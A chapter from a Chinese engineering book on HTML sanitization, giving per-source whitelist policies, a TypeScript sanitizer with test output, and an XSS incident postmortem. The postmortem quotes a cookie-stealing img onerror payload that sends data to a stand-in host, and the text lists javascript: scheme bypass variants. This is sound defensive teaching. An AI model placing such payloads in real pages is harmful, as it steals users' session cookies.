《互联网产品的客户端架构·内容、社交与实时互动》3.2 渲染边界与 sanitize:谁能写 HTML

作者正文、运营配置、第三方嵌入的信任级别并不相同。本节把 sanitize 定义为能力边界而不是标签黑名单,给出作者、运营、嵌入三套白名单策略,处理 URL 协议与实体编码绕过,并用测试复盘一次直接 innerHTML 导致的脚本注入事故与修复顺序。

边界问题,不是标签表问题

这一节讨论的是谁能把 HTML 送进渲染器,以及送进来之后还剩哪些能力。它不重复 3.1 的块模型,也不讨论图片布局与 CLS,那是 3.3 的内容;服务端的内容审核、举报与封禁属于另一条线,这里不展开。

很多团队把 sanitize 理解成「维护一张危险标签黑名单」:去掉 <script>、去掉 onerror、去掉 javascript:。这种理解在 demo 里能跑,在生产里迟早出事,因为黑名单永远少一个变体,而解析器的行为比正则复杂得多。

更稳的定义是:sanitize 是一套能力边界。 对每一类内容来源,先回答「它允许拥有哪些能力」,再把这些能力翻译成标签、属性和 URL 协议的白名单。黑名单是补丁,白名单才是边界。

三类来源,三种信任级别

「回声」的正文渲染入口只有三个,但它们的信任模型完全不同:

来源典型内容允许的能力策略
作者内容编辑器产出的图文、粘贴的网页片段基础排版、链接、图片author:严格白名单
运营配置活动页、公告、专题卡片更丰富的布局、表格、classops:较宽白名单,仍禁止脚本与 iframe
第三方嵌入视频播放器、外部互动组件仅一个 iframe 能力embed:主机白名单 + 强制 sandbox

这张表里最容易被误解的是第三行。第三方嵌入的信任级别不是「更高」,而是「更窄」:它不能写段落、不能写图片、不能写样式,只能申请一个 iframe,而且 iframe 的 src 必须落在白名单主机上,sandbox 由客户端强制写入,不接受内容方自带的值。

把「嵌入」当成「可信 HTML」是很多事故的起点。嵌入方的业务可信,不代表它传过来的每一个字节都可信;即使字节可信,也不代表它需要脚本、表单、弹窗这些能力。

白名单的四个决定

第一,标签白名单按来源分别维护。 作者内容只允许 p、br、strong、em、code、pre、blockquote、列表、链接、图片和少量标题;运营配置额外允许 div、span、figure、表格与 class;嵌入只允许 iframe、p、a。同一份 HTML 用不同策略过滤,结果必须不同。

第二,属性白名单跟着标签走。 a 只允许 href 和 title,img 只允许 src、alt、width、height。class 只在运营策略里出现,因为作者内容里的 class 会直接撞上站点样式;style 在任何策略里都不允许,它能把布局和部分浏览器行为一起改掉。

第三,URL 先解码再判协议。 javascript: 可以写成 java&#x73;cript:、java\tscript:、JaVaScRiPt:。如果只对原始字符串做前缀匹配,这些变体都能绕过。正确顺序是:解码实体、去掉控制字符与空白、转小写,再判断 scheme。链接允许 http、https、mailto 和相对路径;图片允许 http、https 和相对路径;嵌入只允许绝对 https。

第四,危险标签要连内容一起丢。 对 script、style、template、noscript、object、embed、form、svg、math,不能只去掉标签、保留内部文本。<script>alert(1)</script> 如果只删标签,页面上会留下 alert(1);更糟的是,某些标签的内部文本会被后续解析器重新解释。整段跳过是唯一安全的选择。

先结构化再渲染,还是直接 sanitize HTML

两条路线都能得到安全页面,但成本位置不同:

路线安全性来源主要成本适合场景
先结构化再渲染数据形状本身不包含 HTML编辑器、服务端、客户端共用 schema作者正文、长期演进的内容
直接 sanitize HTML过滤器足够严格过滤器要跟上解析器差异与变异攻击运营旧配置、迁移期兜底
只给能力不给 HTML只暴露一个受控 iframe嵌入方能力受限第三方播放器、互动组件

「回声」的选择是:作者正文走结构化,运营旧配置走 sanitize,第三方只走 iframe 能力。 这不是三条路线的优劣排序,而是按来源能力做匹配。作者内容每天大量产生、结构还会演进,用结构化最划算;运营配置存量是 HTML,短期换成块模型成本高,先用白名单兜住;第三方嵌入根本不需要通用 HTML,给它 iframe 反而最小。

需要强调的是,本节的 sanitizer 是一个教学用的词法过滤器,不是完整的 HTML 解析器。它按标签 token 扫描,能处理常见闭合、属性和协议绕过,但不能覆盖所有变异 XSS(mutation XSS)。生产环境如果要接受不可信 HTML,应该使用经过审计的解析器与 sanitizer 组合,或者干脆不接受 HTML。这一点在失败案例里还会展开。

一个可运行的 sanitizer

下面的实现属于 L1:输入字符串和块文档,输出字符串与报告,不依赖 DOM、网络或时钟。

// file: src/render/sanitize.ts
// tier: L1
// verify: node --test test/render/sanitize.test.ts
import type { InlineMark, InlineSpan, RichBlock, RichDocument } from "./blocks.ts";

export type TrustLevel = "author" | "ops" | "embed";
export type UrlKind = "link" | "image" | "embed";

export interface RenderPolicy {
  trust: TrustLevel;
  allowedTags: readonly string[];
  allowedAttributes: Readonly<Record<string, readonly string[]>>;
  embedHosts: readonly string[];
  forceSandbox: string | null;
}

export interface SanitizeReport {
  html: string;
  removedTags: string[];
  removedAttributes: string[];
  blockedUrls: string[];
}

const AUTHOR_ATTRIBUTES: Record<string, readonly string[]> = {
  a: ["href", "title"], img: ["src", "alt", "width", "height"],
};

const OPS_ATTRIBUTES: Record<string, readonly string[]> = {
  ...AUTHOR_ATTRIBUTES, div: ["class"], span: ["class"], figure: ["class"], figcaption: ["class"],
  table: ["class"], th: ["colspan", "rowspan", "scope"], td: ["colspan", "rowspan"],
};

const AUTHOR_TAGS = [
  "p", "br", "strong", "b", "em", "i", "code", "pre",
  "blockquote", "ul", "ol", "li", "a", "img", "h2", "h3",
];

const OPS_TAGS = [
  ...AUTHOR_TAGS, "div", "span", "figure", "figcaption", "hr",
  "table", "thead", "tbody", "tr", "th", "td",
];

export const POLICIES: Record<TrustLevel, RenderPolicy> = {
  author: {
    trust: "author", allowedTags: AUTHOR_TAGS, allowedAttributes: AUTHOR_ATTRIBUTES,
    embedHosts: [], forceSandbox: null,
  },
  ops: {
    trust: "ops", allowedTags: OPS_TAGS, allowedAttributes: OPS_ATTRIBUTES,
    embedHosts: [], forceSandbox: null,
  },
  embed: {
    trust: "embed", allowedTags: ["iframe", "p", "a"],
    allowedAttributes: {
      iframe: ["src", "title", "width", "height", "allowfullscreen"],
      a: ["href", "title"],
    },
    embedHosts: ["player.example.com", "www.youtube-nocookie.com"],
    forceSandbox: "allow-scripts allow-presentation allow-popups",
  },
};

const VOID_TAGS = new Set(["br", "hr", "img"]);
const RAW_TEXT_DROP = new Set(["script", "style", "template", "noscript", "object", "embed", "form", "svg", "math"]);
const URL_ATTRIBUTES = new Set(["href", "src", "poster", "cite"]);
const TOKEN_PATTERN = /<!--[\s\S]*?-->|<\/?[a-zA-Z][^>]*>/g;
const ATTRIBUTE_PATTERN = /([a-zA-Z_:][-a-zA-Z0-9_:.]*)(?:\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'=<>`]+)))?/g;
const NAMED_ENTITIES: Record<string, string> = {
  colon: ":", tab: "\t", newline: "\n", amp: "&", lt: "<", gt: ">", quot: '"', apos: "'", "#39": "'",
};

export function escapeHtml(value: string): string {
  return value.replace(/&(?!(?:[a-zA-Z][a-zA-Z0-9]*|#\d+|#x[0-9a-f]+);)/gi, "&amp;")
    .replaceAll("<", "&lt;").replaceAll(">", "&gt;")
    .replaceAll('"', "&quot;").replaceAll("'", "&#39;");
}

function codePoint(value: number): string {
  return Number.isFinite(value) && value >= 0 && value <= 0x10ffff ? String.fromCodePoint(value) : "";
}

function decodeEntities(value: string): string {
  return value
    .replace(/&#x([0-9a-f]+);?/gi, (_, hex: string) => codePoint(parseInt(hex, 16)))
    .replace(/&#(\d+);?/g, (_, dec: string) => codePoint(parseInt(dec, 10)))
    .replace(/&([a-z]+|#39);/gi, (_, name: string) => NAMED_ENTITIES[name.toLowerCase()] ?? "");
}

export function isSafeUrl(raw: string, kind: UrlKind): boolean {
  const compact = decodeEntities(raw).replace(/[\u0000- \u007f]+/g, "").toLowerCase();
  if (compact === "") return false;
  const scheme = compact.match(/^([a-z][a-z0-9+.-]*):/);
  if (!scheme) return kind !== "embed";
  const name = scheme[1];
  if (kind === "embed") return name === "https";
  if (kind === "image") return name === "http" || name === "https";
  return name === "http" || name === "https" || name === "mailto";
}

export function embedHost(raw: string): string | null {
  try {
    const url = new URL(decodeEntities(raw).trim());
    return url.protocol === "https:" ? url.hostname.toLowerCase() : null;
  } catch {
    return null;
  }
}

interface ParsedTag {
  closing: boolean; name: string; selfClosing: boolean; attributes: Array<[string, string]>;
}

function parseTag(token: string): ParsedTag | null {
  const inner = token.slice(1, -1);
  const closing = inner.startsWith("/");
  const body = closing ? inner.slice(1) : inner;
  const selfClosing = /\/\s*$/.test(body);
  const match = body.replace(/\/\s*$/, "").match(/^\s*([a-zA-Z][a-zA-Z0-9:-]*)([\s\S]*)$/);
  if (!match) return null;
  ATTRIBUTE_PATTERN.lastIndex = 0;
  const attributes = [...match[2].matchAll(ATTRIBUTE_PATTERN)]
    .map((attr): [string, string] => [attr[1].toLowerCase(), attr[2] ?? attr[3] ?? attr[4] ?? ""]);
  return { closing, name: match[1].toLowerCase(), selfClosing, attributes };
}

function findRawTextEnd(input: string, name: string, from: number): number {
  const pattern = new RegExp(`</${name}\\s*[^>]*>`, "ig");
  pattern.lastIndex = from;
  return pattern.exec(input) ? pattern.lastIndex : input.length;
}

function attributeAllowed(policy: RenderPolicy, tag: string, attribute: string): boolean {
  return (policy.allowedAttributes[tag] ?? []).includes(attribute) && !attribute.startsWith("on");
}

function safeAttributes(
  policy: RenderPolicy, tag: string, attributes: Array<[string, string]>, report: SanitizeReport,
): string[] {
  const output: string[] = [];
  for (const [name, value] of attributes) {
    if (!attributeAllowed(policy, tag, name)) {
      report.removedAttributes.push(name);
      continue;
    }
    if (URL_ATTRIBUTES.has(name)) {
      const kind: UrlKind = tag === "iframe" ? "embed" : name === "href" ? "link" : "image";
      if (!isSafeUrl(value, kind)) {
        report.blockedUrls.push(value);
        continue;
      }
    }
    output.push(name === "allowfullscreen" ? "allowfullscreen" : `${name}="${escapeHtml(value)}"`);
  }
  if (tag === "iframe" && policy.forceSandbox) output.push(`sandbox="${policy.forceSandbox}"`);
  return output;
}

export function sanitizeHtml(input: string, trust: TrustLevel): SanitizeReport {
  const policy = POLICIES[trust];
  const report: SanitizeReport = { html: "", removedTags: [], removedAttributes: [], blockedUrls: [] };
  let cursor = 0;
  let token: RegExpExecArray | null;
  TOKEN_PATTERN.lastIndex = 0;
  while ((token = TOKEN_PATTERN.exec(input)) !== null) {
    report.html += escapeHtml(input.slice(cursor, token.index));
    cursor = TOKEN_PATTERN.lastIndex;
    if (token[0].startsWith("<!--")) continue;
    const parsed = parseTag(token[0]);
    if (!parsed) continue;
    const { closing, name, selfClosing, attributes } = parsed;
    if (closing) {
      if (policy.allowedTags.includes(name) && !VOID_TAGS.has(name)) report.html += `</${name}>`;
      else report.removedTags.push(name);
      continue;
    }
    if (RAW_TEXT_DROP.has(name) || !policy.allowedTags.includes(name)) {
      report.removedTags.push(name);
      if (RAW_TEXT_DROP.has(name) && !selfClosing) {
        cursor = findRawTextEnd(input, name, TOKEN_PATTERN.lastIndex);
        TOKEN_PATTERN.lastIndex = cursor;
      }
      continue;
    }
    if (name === "iframe") {
      const src = attributes.find(([key]) => key === "src")?.[1] ?? "";
      const host = embedHost(src);
      if (!host || !policy.embedHosts.includes(host)) {
        report.removedTags.push(name);
        if (src !== "") report.blockedUrls.push(src);
        if (!selfClosing) {
          cursor = findRawTextEnd(input, name, TOKEN_PATTERN.lastIndex);
          TOKEN_PATTERN.lastIndex = cursor;
        }
        continue;
      }
    }
    const safe = safeAttributes(policy, name, attributes, report);
    const tail = VOID_TAGS.has(name) || selfClosing ? " /" : "";
    report.html += `<${name}${safe.length ? ` ${safe.join(" ")}` : ""}${tail}>`;
  }
  report.html += escapeHtml(input.slice(cursor));
  return report;
}

function renderSpans(spans: InlineSpan[], report: SanitizeReport): string {
  return spans.map((item) => {
    let output = escapeHtml(item.text);
    if (item.marks.some((mark) => mark.kind === "code")) output = `<code>${output}</code>`;
    if (item.marks.some((mark) => mark.kind === "italic")) output = `<em>${output}</em>`;
    if (item.marks.some((mark) => mark.kind === "bold")) output = `<strong>${output}</strong>`;
    const link = item.marks.find((mark): mark is Extract<InlineMark, { kind: "link" }> => mark.kind === "link");
    if (link && isSafeUrl(link.href, "link")) {
      output = `<a href="${escapeHtml(link.href)}" rel="nofollow noopener noreferrer" target="_blank">${output}</a>`;
    } else if (link) {
      report.blockedUrls.push(link.href);
    }
    return output;
  }).join("");
}

function renderBlock(block: RichBlock, report: SanitizeReport): string {
  if (block.type === "paragraph") return `<p>${renderSpans(block.spans, report)}</p>`;
  if (block.type === "quote") {
    const footer = block.attribution ? `<footer>${escapeHtml(block.attribution)}</footer>` : "";
    return `<blockquote><p>${renderSpans(block.spans, report)}</p>${footer}</blockquote>`;
  }
  if (block.type === "image") {
    if (!isSafeUrl(block.src, "image")) {
      report.blockedUrls.push(block.src);
      return `<p>${escapeHtml(block.alt || "[图片已拦截]")}</p>`;
    }
    const size = `${block.width ? ` width="${block.width}"` : ""}${block.height ? ` height="${block.height}"` : ""}`;
    return `<img src="${escapeHtml(block.src)}" alt="${escapeHtml(block.alt)}"${size} loading="lazy" />`;
  }
  if (block.type === "video") {
    if (!isSafeUrl(block.src, "image")) { report.blockedUrls.push(block.src); return "<p>[视频已拦截]</p>"; }
    const poster = block.poster && isSafeUrl(block.poster, "image") ? ` poster="${escapeHtml(block.poster)}"` : "";
    return `<video src="${escapeHtml(block.src)}"${poster} controls preload="metadata"></video>`;
  }
  if (block.type === "code") {
    const language = /^[a-z0-9-]+$/i.test(block.language) ? block.language.toLowerCase() : "text";
    return `<pre><code class="language-${language}">${escapeHtml(block.code)}</code></pre>`;
  }
  report.removedTags.push(`unsupported:${block.originalType}`);
  return "";
}

export function renderStructured(document: RichDocument): SanitizeReport {
  const report: SanitizeReport = { html: "", removedTags: [], removedAttributes: [], blockedUrls: [] };
  report.html = document.blocks.map((block) => renderBlock(block, report)).join("");
  return report;
}

四个关键点

  • 策略是数据。 POLICIES 把标签、属性、嵌入主机和 sandbox 写成表,sanitizeHtml 只接收 trust 参数,新增来源时改策略而不是加 if/else。
  • 报告可观测。 removedTags、removedAttributes、blockedUrls 让「谁在尝试嵌入 iframe」变成可查询事件,而不是把安全事件扔进黑洞。
  • 结构化天然免疫注入。 renderStructured 先转义文本、校验链接与图片,<script> 只会变成字面量;安全来自数据形状,不靠事后补救。
  • 嵌入能力要强制。 sandbox 由策略强制追加,onload 永远不在白名单;第三方只能决定播放哪个视频,不能决定拥有哪些浏览器能力。

测试与真实输出

$ node --test test/render/sanitize.test.ts
✔ 脚本标签连同内容被丢弃,事件属性被移除 (2.164083ms)
✔ javascript 协议与实体编码绕过都被拦截 (0.611583ms)
✔ 白名单链接、图片与已有实体被原样保留 (0.150333ms)
✔ 运营配置允许 class,作者内容不允许 (0.165667ms)
✔ 第三方嵌入只接受白名单主机的 https iframe,并强制 sandbox (0.285833ms)
✔ 作者内容不能嵌入 iframe,未闭合脚本会吞掉剩余输入 (0.117959ms)
✔ URL 判定区分链接、图片与嵌入三种用途 (0.086292ms)
✔ 结构化渲染天然转义文本,并拦截坏 URL 与未知块 (0.258459ms)
ℹ tests 8
ℹ suites 0
ℹ pass 8
ℹ fail 0
ℹ cancelled 0
ℹ skipped 0
ℹ todo 0
ℹ duration_ms 232.866958

八条用例分别覆盖:脚本连内容丢弃、实体编码的 javascript: 绕过、已有实体不被二次转义、运营与作者的 class 差异、嵌入主机与 sandbox、作者不能嵌入 iframe、三种 URL 用途的判定,以及结构化渲染对坏链接和未知块的处理。

其中「已有实体不被二次转义」是一条容易忽略的回归测试。最早版本的 escapeHtml 会把 &amp; 变成 &amp;amp;,页面上真的显示成 &amp;。安全过滤器如果连正常文本都改坏,团队就会开始绕过它,最后过滤器名存实亡。

一次直接 innerHTML 的注入事故

事故发生在活动页。运营同学从外部网页复制了一段图文,粘进 CMS,客户端用 innerHTML 渲染。旧实现只做了一件事:用正则删掉 <script> 标签。

攻击载荷没有用 <script>,而是 <img src="x" onerror="fetch('https://collect.example/?c='+document.cookie)">。正则放行了 <img>,事件属性被原样保留,图片加载失败触发 onerror,Cookie 被发走。更糟的是,这段内容同时出现在信息流卡片和详情页,两个入口都用了同一个渲染函数。

复盘时发现三个独立问题:

  1. 用黑名单做安全。 只删 <script>,等于只防住了最笨的载荷。
  2. 所有来源共用一套策略。 作者内容、运营配置、第三方嵌入走同一个渲染函数,导致运营的宽权限被作者内容继承。
  3. 把会话令牌放在 Cookie 之外的可读位置。 前端把 token 写进了 localStorage,XSS 一旦成立,令牌直接可读。

修复顺序也值得记录。第一天先加 CSP 并下线活动页的 HTML 入口,止血;第一周把作者正文切到 3.1 的块模型,从根上消除 HTML;第二周给运营旧配置接上 ops 白名单,并把 iframe 单独抽成 embed 能力;最后才处理令牌存储,改成 HttpOnly Cookie 并加 SameSite。顺序的原则是:先缩小爆炸半径,再修根因,最后做体验优化。

这次事故还留下一条团队规则:任何新增的 HTML 渲染入口,必须同时提交三样东西——来源分类、对应策略、失败时的降级展示。没有这三样,代码评审直接拒绝。

运营配置为什么也要过滤

「运营是自己人」是另一条常见的错误假设。运营配置经过 CMS、复制粘贴、外包代运营、第三方模板等多个环节,任何一个环节都可能引入不可信字节。即使内容完全由内部同学手写,class 和 style 也可能破坏站点布局,iframe 也可能把整个页面带进一个不受控的播放器。所以 ops 策略比 author 宽,但不是无限宽:允许 class 是为了复用站点样式,允许表格是为了公告排版,允许 figure 是为了图文说明;脚本、事件属性、style、iframe 仍然一律拒绝。宽出来的每一格能力,都要能回答「为什么这一类内容需要它」。

小结

sanitize 的本质是能力边界:先按来源分配能力,再用标签、属性、URL 协议的白名单把能力落地。作者正文优先结构化,运营旧配置用较宽白名单兜底,第三方嵌入只给受控 iframe。过滤结果要可观测,危险标签要连内容一起丢,嵌入能力要强制而不是协商。

内容能安全地变成 DOM 之后,下一个问题是它会不会在加载过程中把页面撑来撑去。下一节讨论媒体懒加载、占位盒与 CLS 的端上来源。

阅读导航:上一节:3.1 结构化内容:把正文当成数据而不是 HTML 字符串 · 下一节:3.3 媒体懒加载与占位:CLS 的端上来源 。

常见错误与边界

  • 用黑名单删 <script> 就当 sanitize。事件属性、javascript: 变体和变异 XSS 都会绕过。
  • 所有来源共用一套策略。运营的宽权限会被作者内容继承,边界形同虚设。
  • 只对原始字符串判协议。必须先解码实体、去控制字符,再判断 scheme。
  • 危险标签只删标签、保留内容。脚本正文会变成可见文本,甚至被后续解析器重新解释。
  • 允许 style 或任意 class。它们能破坏布局,也能成为部分浏览器的攻击面。
  • 让嵌入方自带 sandbox。能力必须由客户端强制写入,不能协商。
  • 认为教学级词法过滤器可以处理不可信 HTML。生产环境要用审计过的解析器,或直接拒绝 HTML。
  • 把会话令牌放在 localStorage。XSS 一旦成立,令牌就是可读的。

继续阅读

探索更多技术文章

浏览归档,发现更多关于系统设计、工具链和工程实践的内容。

全部文章 返回首页

「books」更多文章

  1. 《互联网产品的 AI 架构·平台化与治理》附录 C 平台化评审清单
  2. 《互联网产品的 AI 架构·平台化与治理》附录 B 能力目录与配额字段速查
  3. 《互联网产品的 AI 架构·平台化与治理》附录 A 治理角色与职责速查